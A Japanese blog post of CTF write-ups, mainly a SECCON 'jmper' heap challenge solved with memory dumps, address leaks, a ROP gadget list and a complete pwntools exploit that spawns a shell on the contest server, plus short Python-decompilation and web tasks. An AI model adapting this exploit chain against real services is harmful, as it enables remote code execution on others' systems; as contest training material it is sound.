読み書き手段の確保

1,Add studentを選択するとmallocされてheap上にstudentの情報を格納する場所が確保される。

heap上のstudentの構造は、(memo)|(nameへのポインタ)|(何か)|(next_memo) ~という状態で、 memoをすべて埋めるとnameへのポインタの一番下を書き換えることができる。

下記は1番目のstudentのheap上のダンプです。

student1_name <= "B"*33
student1_memo <= まだ何も入力してない
student1_name_ptr = 0x00603220
0x6031e8:   0x00000000  0x00000000  0x00000000  0x00000000
0x6031f8:   0x00000000  0x00000000  0x00000000  0x00000000
0x603208:   0x00603220  0x00000000  0x00000000  0x00000000
0x603218:   0x00000031  0x00000000  0x42424242  0x42424242
0x603228:   0x42424242  0x42424242  0x42424242  0x42424242
0x603238:   0x42424242  0x42424242  0x00000042  0x00000000
0x603248:   0x00000041  0x00000000  0x00000001  0x00000000
0x603258:   0x00000000  0x00000000  0x00000000  0x00000000
0x603268:   0x00000000  0x00000000  0x00000000  0x00000000
0x603278:   0x00603290  0x00000000  0x00000000  0x00000000
0x603288:   0x00000031  0x00000000  0x00000000  0x00000000
0x603298:   0x00000000  0x00000000  0x00000000  0x00000000
0x6032a8:   0x00000000  0x00000000

show memo id0 => "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

student1_name <= "B"*33
student1_memo <= "A"*33
student1_name_ptr = 0x00603241
0x6031e8:   0x41414141  0x41414141  0x41414141  0x41414141
0x6031f8:   0x41414141  0x41414141  0x41414141  0x41414141
0x603208:   0x00603241  0x00000000  0x00000000  0x00000000
0x603218:   0x00000031  0x00000000  0x42424242  0x42424242
0x603228:   0x42424242  0x42424242  0x42424242  0x42424242
0x603238:   0x42424242  0x42424242  0x00000042  0x00000000
0x603248:   0x00000041  0x00000000  0x00000001  0x00000000
0x603258:   0x00000000  0x00000000  0x00000000  0x00000000
0x603268:   0x00000000  0x00000000  0x00000000  0x00000000
0x603278:   0x00603290  0x00000000  0x00000000  0x00000000
0x603288:   0x00000031  0x00000000  0x00000000  0x00000000
0x603298:   0x00000000  0x00000000  0x00000000  0x00000000
0x6032a8:   0x00000000  0x00000000

show memo id: 0 => ""

怪しいところ画像で文字化けしてたのはprintfによってポインタのとこまで読んでしまってたから。

また、nameはname_ptrが指す場所に書き込まれるので指定したアドレスに値を入力することができる。

ここでstudent1のname_ptrが指す先をstudent2のname_ptrにすることで、student1のnameに入力した値が指すアドレスに対して読み書きが可能になる。

student1_name <= 未入力
student1_memo <= "x"*33
student1_name_ptr -> 0x00603278
student2_name_ptr -> 0x00603290  
0x6031e8:   0x78787878  0x78787878  0x78787878  0x78787878
0x6031f8:   0x78787878  0x78787878  0x78787878  0x78787878
0x603208:   0x00603278  0x00000000  0x00000000  0x00000000
0x603218:   0x00000031  0x00000000  0x00000000  0x00000000
0x603228:   0x00000000  0x00000000  0x00000000  0x00000000
0x603238:   0x00000000  0x00000000  0x00000000  0x00000000
0x603248:   0x00000041  0x00000000  0x00000001  0x00000000
0x603258:   0x00000000  0x00000000  0x00000000  0x00000000
0x603268:   0x00000000  0x00000000  0x00000000  0x00000000
0x603278:   0x00603290  0x00000000  0x00000000  0x00000000
0x603288:   0x00000031  0x00000000  0x00000000  0x00000000
0x603298:   0x00000000  0x00000000  0x00000000  0x00000000
0x6032a8:   0x00000000  0x00000000

student1_name <= "0x60"

0x6031e8:   0x78787878  0x78787878  0x78787878  0x78787878
0x6031f8:   0x78787878  0x78787878  0x78787878  0x78787878
0x603208:   0x00603278  0x00000000  0x00000000  0x00000000
0x603218:   0x00000031  0x00000000  0x00000000  0x00000000
0x603228:   0x00000000  0x00000000  0x00000000  0x00000000
0x603238:   0x00000000  0x00000000  0x00000000  0x00000000
0x603248:   0x00000041  0x00000000  0x00000001  0x00000000
0x603258:   0x00000000  0x00000000  0x00000000  0x00000000
0x603268:   0x00000000  0x00000000  0x00000000  0x00000000
0x603278:   0x30367830  0x00000000  0x00000000  0x00000000
0x603288:   0x00000031  0x00000000  0x00000000  0x00000000
0x603298:   0x00000000  0x00000000  0x00000000  0x00000000
0x6032a8:   0x00000000  0x00000000

student1_name_ptrが指す0x00603278(student2_name_ptr)に"0x60"(0x30367830)が書き込まれてることがわかる。

この状態でstudent2_nameに何か値を入力すれば、0x30367830に書き込まれることになる。

これで読み書き手段は確保できた。

必要な情報の確保

heap,stack,libcはアドレスがランダム化されてるので動的にアドレスをゲットする。

まず、heapのベースアドレスは上記のヒープのリークから求めることができる。(下のほうを000にすればいい)

次に、stackのベースアドレスを求める。

今回のバイナリの目立つところのlongjmpについて少し調べてみると、グローバル変数のなかにsetjmpを呼ばれた瞬間のebpが記録されているらしいことが分かった。

   0x0000000000400c11 <+105>:  mov    edi,0xc8
   0x0000000000400c16 <+110>: call   0x4006e0 <malloc@plt>
   0x0000000000400c1b <+115>: mov    QWORD PTR [rip+0x201416],rax        # 0x602038 <jmpbuf>
   0x0000000000400c22 <+122>: mov    rax,QWORD PTR [rip+0x20140f]        # 0x602038 <jmpbuf>
   0x0000000000400c29 <+129>: mov    rdi,rax
   0x0000000000400c2c <+132>: call   0x4006b0 <_setjmp@plt>
=> 0x0000000000400c31 <+137>:  mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400c34 <+140>: cmp    DWORD PTR [rbp-0x4],0x0
   0x0000000000400c38 <+144>: jne    0x400c41 <main+153>
   0x0000000000400c3a <+146>: call   0x40081d <f>
   0x0000000000400c3f <+151>: jmp    0x400c4b <main+163>
   0x0000000000400c41 <+153>: mov    edi,0x400dbf
   0x0000000000400c46 <+158>: call   0x400680 <puts@plt>
   0x0000000000400c4b <+163>: mov    eax,0x0
   0x0000000000400c50 <+168>: leave  

mallocで確保した領域にjmpbufのアドレス格納されてるのでそこを見てみる。

(gdb) i r
rax            0x0  0
rbx            0x0  0
rcx            0x7ffff7dd1b20   140737351850784
rdx            0x24b28345de7b86e0   2644320267328521952
rsi            0x0  0
rdi            0x603110 6304016
rbp            0x7fffffffdd30   0x7fffffffdd30
rsp            0x7fffffffdd20   0x7fffffffdd20
r8             0x603000 6303744
r9             0xd  13
r10            0x7ffff7dd1c38   140737351851064
r11            0x0  0
r12            0x400730 4196144
r13            0x7fffffffde10   140737488346640
r14            0x0  0
r15            0x0  0
rip            0x400c31 0x400c31 <main+137>
eflags         0x246    [ PF ZF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) x/50x 0x603110
0x603110:   0x00000000  0x00000000  0xde5b86e0  0x24b28345
0x603120:   0x00400730  0x00000000  0xffffde10  0x00007fff
0x603130:   0x00000000  0x00000000  0x00000000  0x00000000
0x603140:   0xde7b86e0  0x24b28345  0x7c5986e0  0xdb4d7c3a
0x603150:   0x00000000  0x00000000  0x00000000  0x00000000
0x603160:   0x00000000  0x00000000  0x00000000  0x00000000
0x603170:   0x00000000  0x00000000  0x00000000  0x00000000
0x603180:   0x00000000  0x00000000  0x00000000  0x00000000
0x603190:   0x00000000  0x00000000  0x00000000  0x00000000
0x6031a0:   0x00000000  0x00000000  0x00000000  0x00000000
0x6031b0:   0x00000000  0x00000000  0x00000000  0x00000000
0x6031c0:   0x00000000  0x00000000  0x00000000  0x00000000
0x6031d0:   0x00000000  0x00000000

0x603128のところにいますねぇ。

これはmain関数の時の値ですが計算でf関数のebpも求まりそうなのでこれでstackもクリアということで。

最後にlibcのアドレスをゲットしたい。

checksecがNo PIEと申しているのでgotから一度呼ばれてるlibc内の関数のアドレスを求め、 与えられてるlibcから差分を計算してやればlibcのベースアドレスを求めれそう。 今回は 0x601fb0の__libc_start_main@pltを使うことにした。

0000000000400670 <puts@plt-0x10>:
  400670:       ff 35 1a 19 20 00       push   QWORD PTR [rip+0x20191a]        # 601f90 <_GLOBAL_OFFSET_TABLE_+0x8>
  400676:       ff 25 1c 19 20 00       jmp    QWORD PTR [rip+0x20191c]        # 601f98 <_GLOBAL_OFFSET_TABLE_+0x10>
  40067c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

0000000000400680 <puts@plt>:
  400680:       ff 25 1a 19 20 00       jmp    QWORD PTR [rip+0x20191a]        # 601fa0 <_GLOBAL_OFFSET_TABLE_+0x18>
  400686:       68 00 00 00 00          push   0x0
  40068b:       e9 e0 ff ff ff          jmp    400670 <_init+0x28>

0000000000400690 <printf@plt>:
  400690:       ff 25 12 19 20 00       jmp    QWORD PTR [rip+0x201912]        # 601fa8 <_GLOBAL_OFFSET_TABLE_+0x20>
  400696:       68 01 00 00 00          push   0x1
  40069b:       e9 d0 ff ff ff          jmp    400670 <_init+0x28>

00000000004006a0 <__libc_start_main@plt>:
  4006a0:       ff 25 0a 19 20 00       jmp    QWORD PTR [rip+0x20190a]        # 601fb0 <_GLOBAL_OFFSET_TABLE_+0x28>
  4006a6:       68 02 00 00 00          push   0x2
  4006ab:       e9 c0 ff ff ff          jmp    400670 <_init+0x28>

シェルを取る

system関数と/bin/shの文字列はlibc内に埋まっているのでpwntoolsで調達する。 あとほしいのは第一引数に/bin/shぶち込むためのpop rdi; ret;。 rp++にお世話になりました。

tyanya@tyanya-VirtualBox:~/seccon/jumper$ /tmp/rp-lin-x64 --file jmper --rop=3 --unique
Trying to open 'jmper'..
Loading ELF information..
FileFormat: Elf, Arch: Ia64
Using the Nasm syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
100 found.

A total of 100 gadgets found.
You decided to keep only the unique ones, 78 unique gadgets found.
0x00400b4e: adc al, 0x20 ; add byte [rcx], bh ; retn 0x077D ;  (1 found)
0x00400803: adc al, 0x55 ; mov edi, 0x00601D90 ; mov rbp, rsp ; call rax ;  (1 found)
0x00400ccf: add bl, dh ; ret  ;  (1 found)
0x00400ccd: add byte [rax], al ; add bl, dh ; ret  ;  (1 found)
0x00400ccb: add byte [rax], al ; add byte [rax], al ; add bl, dh ; ret  ;  (1 found)
0x00400c4c: add byte [rax], al ; add byte [rax], al ; leave  ; ret  ;  (1 found)
0x00400ccc: add byte [rax], al ; add byte [rax], al ; rep ret  ;  (1 found)
0x00400de5: add byte [rax], al ; add byte [rcx+rdi*8-0x01], bl ; call qword [rax+rax+0x00] ;  (1 found)
0x00400c4d: add byte [rax], al ; add cl, cl ; ret  ;  (1 found)
0x0040065b: add byte [rax], al ; add rsp, 0x08 ; ret  ;  (1 found)
0x00400c4e: add byte [rax], al ; leave  ; ret  ;  (1 found)
0x00400cce: add byte [rax], al ; rep ret  ;  (1 found)
0x00400cd2: add byte [rax], al ; sub rsp, 0x08 ; add rsp, 0x08 ; ret  ;  (1 found)
0x00400c9f: add byte [rcx+rcx*4-0x16], cl ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x00400de7: add byte [rcx+rdi*8-0x01], bl ; call qword [rax+rax+0x00] ;  (1 found)
0x004007e8: add byte [rcx], al ; rep ret  ;  (1 found)
0x0040092b: add byte [rcx], bh ; retn 0x077D ;  (4 found)
0x00400c4f: add cl, cl ; ret  ;  (1 found)
0x004007e4: add eax, 0x00201836 ; add ebx, esi ; ret  ;  (1 found)
0x004007e9: add ebx, esi ; ret  ;  (1 found)
0x0040065e: add esp, 0x08 ; ret  ;  (2 found)
0x0040065d: add rsp, 0x08 ; ret  ;  (2 found)
0x00400784: and byte [rax+0x00], ah ; jmp rax ;  (1 found)
0x004007c4: and byte [rax+0x00], ah ; jmp rdx ;  (1 found)
0x004007e7: and byte [rax], al ; add ebx, esi ; ret  ;  (1 found)
0x00400ca9: call qword [r12+rbx*8] ;  (1 found)
0x00400deb: call qword [rax+rax+0x00] ;  (1 found)
0x0040081c: call qword [rbp+0x48] ;  (2 found)
0x00400caa: call qword [rsp+rbx*8] ;  (1 found)
0x0040080d: call rax ;  (1 found)
0x004008b0: dec dword [rax-0x77] ; retn 0x8B48 ;  (1 found)
0x00400cac: fmul qword [rax-0x7D] ; ret  ;  (1 found)
0x00400780: hlt  ; pop rbp ; mov edi, 0x00602010 ; jmp rax ;  (1 found)
0x00400ecb: jmp qword [rbp+0x00] ;  (1 found)
0x00400787: jmp rax ;  (1 found)
0x004007c7: jmp rdx ;  (1 found)
0x00400c50: leave  ; ret  ;  (1 found)
0x004007e3: mov byte [0x0000000000602020], 0x00000001 ; rep ret  ;  (1 found)
0x00400c4b: mov eax, 0x00000000 ; leave  ; ret  ;  (1 found)
0x0040080b: mov ebp, esp ; call rax ;  (1 found)
0x00400805: mov edi, 0x00601D90 ; mov rbp, rsp ; call rax ;  (1 found)
0x00400782: mov edi, 0x00602010 ; jmp rax ;  (1 found)
0x004007c2: mov edi, 0x00602010 ; jmp rdx ;  (1 found)
0x00400ca7: mov edi, edi ; call qword [r12+rbx*8] ;  (1 found)
0x00400ca6: mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x00400ca1: mov edx, ebp ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x004007c0: mov esi, eax ; mov edi, 0x00602010 ; jmp rdx ;  (1 found)
0x00400ca4: mov esi, esi ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x0040080a: mov rbp, rsp ; call rax ;  (1 found)
0x00400ca0: mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x00400ca3: mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x004007bf: mov rsi, rax ; mov edi, 0x00602010 ; jmp rdx ;  (1 found)
0x00400cc7: nop dword [rax+rax+0x00000000] ; rep ret  ;  (2 found)
0x00400cc5: nop word [rax+rax+0x00000000] ; rep ret  ;  (2 found)
0x00400cbe: pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400cc0: pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400cc2: pop r15 ; ret  ;  (1 found)
0x004007e2: pop rbp ; mov byte [0x0000000000602020], 0x00000001 ; rep ret  ;  (1 found)
0x00400781: pop rbp ; mov edi, 0x00602010 ; jmp rax ;  (1 found)
0x004007be: pop rbp ; mov rsi, rax ; mov edi, 0x00602010 ; jmp rdx ;  (1 found)
0x00400cbf: pop rbp ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400775: pop rbp ; ret  ;  (2 found)
0x00400cc3: pop rdi ; ret  ;  (1 found) <- ここ
0x00400cc1: pop rsi ; pop r15 ; ret  ;  (1 found)
0x00400804: push rbp ; mov edi, 0x00601D90 ; mov rbp, rsp ; call rax ;  (1 found)
0x004007ea: rep ret  ;  (2 found)
0x00400661: ret  ;  (9 found)
0x0040092d: retn 0x077D ;  (4 found)
0x00400862: retn 0x2017 ;  (1 found)
0x004008b3: retn 0x8B48 ;  (1 found)
0x004007a5: retn 0xC148 ;  (1 found)
0x004007bb: sal byte [rsp+rsi*8+0x5D], cl ; mov rsi, rax ; mov edi, 0x00602010 ; jmp rdx ;  (1 found)
0x004007e5: sbb byte [rax], ah ; add byte [rcx], al ; rep ret  ;  (2 found)
0x00400cd5: sub esp, 0x08 ; add rsp, 0x08 ; ret  ;  (1 found)
0x00400cd4: sub rsp, 0x08 ; add rsp, 0x08 ; ret  ;  (1 found)
0x00400cca: test byte [rax], al ; add byte [rax], al ; add byte [rax], al ; rep ret  ;  (1 found)
0x00400ca5: test byte [rcx+rcx*4-0x01], 0x00000041 ; call qword [rsp+rbx*8] ;  (1 found)
0x00400b4d: xlatb  ; adc al, 0x20 ; add byte [rcx], bh ; retn 0x077D ;  (1 found)

というわけでコーディング

from pwn import *

def add_student():
    global p
    p.recvuntil("Bye :)\n")
    p.sendline("1")

def write_name(id, name):
    global p
    p.recvuntil("Bye :)\n")
    p.sendline("2")
    p.recvuntil("ID:")
    p.sendline(id)
    p.recvuntil("name:")
    p.sendline(name)

def write_memo(id, memo):
    global p
    p.recvuntil("Bye :)\n")
    p.sendline("3")
    p.recvuntil("ID:")
    p.sendline(id)
    p.recvuntil("memo:")
    p.sendline(memo)

def show_name(id):
    global p
    p.recvuntil("Bye :)\n")
    p.sendline("4")
    p.recvuntil("ID:")
    p.sendline(id)
    recv = p.recvuntil("1. Add student.")
    recv = recv.replace("1. Add student.", "")
    return recv

def show_memo(id):
    global p
    p.recvuntil("Bye :)\n")
    p.sendline("5")
    p.recvuntil("ID:")
    p.sendline(id)
    recv = p.recvuntil("1. Add student.")
    recv = recv.replace("1. Add student.", "")
    return recv


def start():
    global p
    global heap_base
    #p = process("./jmper")
    p = remote("jmper.pwn.seccon.jp", 5656)

    add_student()
    add_student()

    write_memo("0", "x"*33)

def read(address, callback=None):
    write_name("0", address)
    recv = show_name("1")
    if callback:
        return callback(recv)
    return recv

def write(address, value):
    write_name("0", address)
    write_name("1", value)


if __name__ == '__main__':
    start()

    libc = ELF("libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e")
    recv = show_memo("0")
    recv = u64(recv[-4:].ljust(8, "\x00"))
    heap_base = recv & ~0xfff

    stack_base = read(p64(heap_base+0x128), lambda x: u64(x.ljust(8, "\x00")))

    libc_base = read(p64(0x000000601fb0), lambda x: u64(x.ljust(8, "\x00"))-libc.symbols["__libc_start_main"])

    log.info("heap_base: {}".format(hex(heap_base)))
    log.info("stack_base: {}".format(hex(stack_base)))
    log.info("libc_base: {}".format(hex(libc_base)))

    payload = ""
    payload += p64(0x0000000000400cc3)
    payload += p64(libc_base + next(libc.search("/bin/sh")))
    payload += p64(libc_base + libc.symbols["system"])

    write(p64(stack_base-0xd8), payload)

    for i in range(29):
        add_student()

    p.interactive()
tyanya@tyanya-VirtualBox:~/seccon/jumper$ python solv.py 
[+] Opening connection to jmper.pwn.seccon.jp on port 5656: Done
[*] '/home/tyanya/seccon/jumper/libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] heap_base: 0x252d000
[*] stack_base: 0x7ffd939ee2c0
[*] libc_base: 0x7fcf23dcb000
[*] Switching to interactive mode
Exception has occurred. Jump!
Nice jump! Bye :)
$ ls
flag
jmper
$ cat flag
SECCON{3nj0y_my_jmp1n9_serv1ce}
$ 
[*] Interrupted
[*] Closed connection to jmper.pwn.seccon.jp port 5656

感想などなど

気合で怪しいところを探すのが一番時間がかかってるので普段からもりもり読んでないと?。 まとめてみるとすごく素直な問題なのに無限によくわからないところでハマってたので猛省。

Qiwi-Infosec 2016

PWN 100_4

dirとかが通るのでpythonのevalのループだと予想

f:id:b_tya_nya:20161121213619p:plain

Reverse 100_2

pycが降ってくるのでuncompyle2でもどすとこうなる

# 2016.11.18 01:09:33 JST
#Embedded file name: task.py
import marshal
src = 'YwAAAAADAAAAGAAAAEMAAABz7wAAAGQBAGoAAGcAAGQCAGQDAGQEAGQFAGQGAGQHAGQIAGQJAGQKAGQLAGQMAGQNAGQOAGQPAGQMAGcPAERdHAB9AAB0AQB0AgB8AACDAQBkEAAXgwEAXgIAcToAgwEAfQEAdAMAZBEAgwEAfQIAfAIAfAEAawIAcuYAZAEAagAAZwAAZBIAZBMAZBQAZBUAZBYAZBcAZBgAZBkAZBoAZBsAZBwAZB0AZB4AZAsAZBwAZB8AZAMAZB0AZAgAZB4AZCAAZCEAZxYARF0VAH0AAHwAAGoEAGQiAIMBAF4CAHHGAIMBAEdIbgUAZCMAR0hkAABTKCQAAABOdAAAAAB0AQAAAF50AQAAADR0AQAAAEt0AQAAAGl0AQAAAC50AQAAAC90AQAAAE50AQAAAGp0AQAAAFB0AQAAAG90AQAAAD90AQAAAGx0AQAAADJ0AQAAAFRpAwAAAHMJAAAAWW91IHBhc3M6dAEAAABzdAEAAAB5dAEAAABudAEAAAB0dAEAAAA6dAEAAAB7dAEAAAB3dAEAAABxdAEAAABFdAEAAAA2dAEAAABmdAEAAABYdAEAAAB1dAEAAABhdAEAAAAxdAEAAAB9dAUAAABST1QxM3MFAAAATm8gOigoBQAAAHQEAAAAam9pbnQDAAAAY2hydAMAAABvcmR0CQAAAHJhd19pbnB1dHQGAAAAZGVjb2RlKAMAAAB0AQAAAGV0AwAAAHRtcHQGAAAAcGFzc3dkKAAAAAAoAAAAAHMHAAAAdGFzay5weVIcAAAAAgAAAHMKAAAAAAFfAQwBDAFvAQ=='.decode('base64')
code = marshal.loads(src)
#import pdb; pdb.set_trace()
exec code
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
# 2016.11.18 01:09:33 JST

exec前でpdbで止めて

import sys; import uncompyle2; uncompyle2.uncompyle(2.7, code, out=sys.stdout, showasm=1, showast=1)

とすると

tmp = ''.join([ chr(ord(e) + 3) for e in ['^', '4', 'K', 'i', '.', '/', 'N', 'j', 'P', 'o', '?', 'l', '2', 'T', '?'] ])
passwd = raw_input('You pass:')
if passwd == tmp:
    print ''.join([ e.decode('ROT13') for e in ['s', 'y', 'n', 't', ':', '{', 'w', 'q', 'E', '6', 'f', 'X', 'u', 'o', 'f', 'a', '4', 'X', 'N', 'u', '1', '}'] ])
else:
    print 'No :('

な感じになるので読むだけ

>>> print ''.join([ e.decode('ROT13') for e in ['s', 'y', 'n', 't', ':', '{', 'w', 'q', 'E', '6', 'f', 'X', 'u', 'o', 'f', 'a', '4', 'X', 'N', 'u', '1', '}'] ])
flag:{jdR6sKhbsn4KAh1}

Reverse 200_1

上の問題と同じ。

import marshal
import uncompyle2
import sys

src = "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".decode("base64")
code = marshal.loads(src)
exec(code)

uncompyle2.uncompyle(2.7, code, out=sys.stdout, showasm=1, showast=1)

出てきたコードの中でフラッグ書いてる所

print ''.join([ [ chr(ord(e) + 30) for e in ''.join([ e.decode('ROT13') for e in ['K', 'm', 'L', 'g', 'K', 'G', 'A', 'C', 'A', 'E', 'k', 'U', 'F', 'I', 'E', 'W', 'S', 'H', 'k', 'p', 'D', 'm', 'x', 'x', 'D', '0', '4', 'J', 'E', 'F', 'q', 'V'] ]).decode('base64')[::-1] ][i] + [ chr(ord(e) + 30) for e in ''.join([ e.decode('ROT13') for e in ['K', 'm', 'L', 'g', 'K', 'G', 'A', 'C', 'A', 'E', 'k', 'U', 'F', 'I', 'E', 'W', 'S', 'H', 'k', 'p', 'D', 'm', 'x', 'x', 'D', '0', '4', 'J', 'E', 'F', 'q', 'V'] ]).decode('base64')[::-1] ][i + 4] + [ chr(ord(e) + 30) for e in ''.join([ e.decode('ROT13') for e in ['K', 'm', 'L', 'g', 'K', 'G', 'A', 'C', 'A', 'E', 'k', 'U', 'F', 'I', 'E', 'W', 'S', 'H', 'k', 'p', 'D', 'm', 'x', 'x', 'D', '0', '4', 'J', 'E', 'F', 'q', 'V'] ]).decode('base64')[::-1] ][i + 4 + 4] + [ chr(ord(e) + 30) for e in ''.join([ e.decode('ROT13') for e in ['K', 'm', 'L', 'g', 'K', 'G', 'A', 'C', 'A', 'E', 'k', 'U', 'F', 'I', 'E', 'W', 'S', 'H', 'k', 'p', 'D', 'm', 'x', 'x', 'D', '0', '4', 'J', 'E', 'F', 'q', 'V'] ]).decode('base64')[::-1] ][i + 4 + 4 + 4] + [ chr(ord(e) + 30) for e in ''.join([ e.decode('ROT13') for e in ['K', 'm', 'L', 'g', 'K', 'G', 'A', 'C', 'A', 'E', 'k', 'U', 'F', 'I', 'E', 'W', 'S', 'H', 'k', 'p', 'D', 'm', 'x', 'x', 'D', '0', '4', 'J', 'E', 'F', 'q', 'V'] ]).decode('base64')[::-1] ][i + 4 + 4 + 4 + 4] + [ chr(ord(e) + 30) for e in ''.join([ e.decode('ROT13') for e in ['K', 'm', 'L', 'g', 'K', 'G', 'A', 'C', 'A', 'E', 'k', 'U', 'F', 'I', 'E', 'W', 'S', 'H', 'k', 'p', 'D', 'm', 'x', 'x', 'D', '0', '4', 'J', 'E', 'F', 'q', 'V'] ]).decode('base64')[::-1] ][i + 4 + 4 + 4 + 4 + 4] for i in range(4) ])

flag:{EazrSKcBjgmT4W3eQ}

感想

平日やめて。

uncompyle2はpython2.7用なので良いとされてる他のものも見ておきたい

GitHub - gstarnberger/uncompyle: Python decompiler

GitHub - zrax/pycdc: C++ python bytecode disassembler and decompiler

あとpythonのevalのshellはpicoctf2013のやつが参考になった。

Python eval

ekoctf

writeups

Misc50

背景の画像にフラッグが書いてる。 目を凝らせば降ってくる。

flag : EKO{th3_fl4g}

web25

robots.txtを見るとurl転がってる。それを叩くとフラッグが転がってる。

flag: EKO{robot_is_following_us}

web50

 $ curl -LI ctf.ekoparty.org  
